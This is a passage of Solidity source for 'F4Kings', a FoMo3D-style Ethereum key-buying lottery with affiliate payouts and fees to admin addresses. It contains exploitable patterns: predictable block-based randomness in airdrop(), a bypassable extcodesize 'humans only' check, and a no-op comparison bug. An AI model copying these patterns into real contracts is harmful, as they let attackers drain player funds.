uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F4Kings is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394);
address private admin = msg.sender;
address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c;
string constant public name = "f4kings";
string constant public symbol = "f4kings";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 20 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private rndLimit_ = 3;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,0);
fees_[1] = F3Ddatasets.TeamFee(32,0);
fees_[2] = F3Ddatasets.TeamFee(52,0);
fees_[3] = F3Ddatasets.TeamFee(42,0);
potSplit_[0] = F3Ddatasets.PotSplit(42,0);
potSplit_[1] = F3Ddatasets.PotSplit(34,0);
potSplit_[2] = F3Ddatasets.PotSplit(18,0);
potSplit_[3] = F3Ddatasets.PotSplit(26,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
uint256 _withdrawFee;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
{
_withdrawFee = _eth / 10;
uint256 _p1 = _withdrawFee.mul(65) / 100;
uint256 _p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
{
_withdrawFee = _eth / 10;
_p1 = _withdrawFee.mul(65) / 100;
_p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 100000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
shareCom.transfer((_com.mul(65) / 100));
admin.transfer((_com.mul(35) / 100));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _rndInc = rndInc_;
if(round_[_rID].pot > rndLimit_)
{
_rndInc = _rndInc / 2;
}
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 10;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
_p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
uint256 _amount = _p3d.sub(_potAmount);
shareCom.transfer((_amount.mul(65)/100));
admin.transfer((_amount.mul(35)/100));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
returns(uint256)
{
uint256 _addP3d = 0;
uint256 _aff1 = _eth / 10;
uint256 _aff2 = _eth / 20;
uint256 _aff3 = _eth / 34;
if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != ''))
{
plyr_[_pID].laffID = _affID;
plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now);
uint256 _secLaff = plyr_[_affID].laffID;
if((_secLaff != 0) && (_secLaff != _pID))
{
plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff);
emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now);
uint256 _thirdAff = plyr_[_secLaff].laffID;
if((_thirdAff != 0 ) && (_thirdAff != _pID))
{
plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff);
emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now);
} else {
_addP3d = _addP3d.add(_aff3);
}
} else {
_addP3d = _addP3d.add(_aff2);
}
} else {
_addP3d = _addP3d.add(_aff1);
}
return(_addP3d);
}
function getPlayerAff(uint256 _pID)
public
view
returns (uint256,uint256,uint256)
{
uint256 _affID = plyr_[_pID].laffID;
if (_affID != 0)
{
uint256 _secondLaff = plyr_[_affID].laffID;
if(_secondLaff != 0)
{
uint256 _thirdAff = plyr_[_secondLaff].laffID;
}
}
return (_affID,_secondLaff,_thirdAff);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(_eth.mul(30) / 100);
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
uint256 laffID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
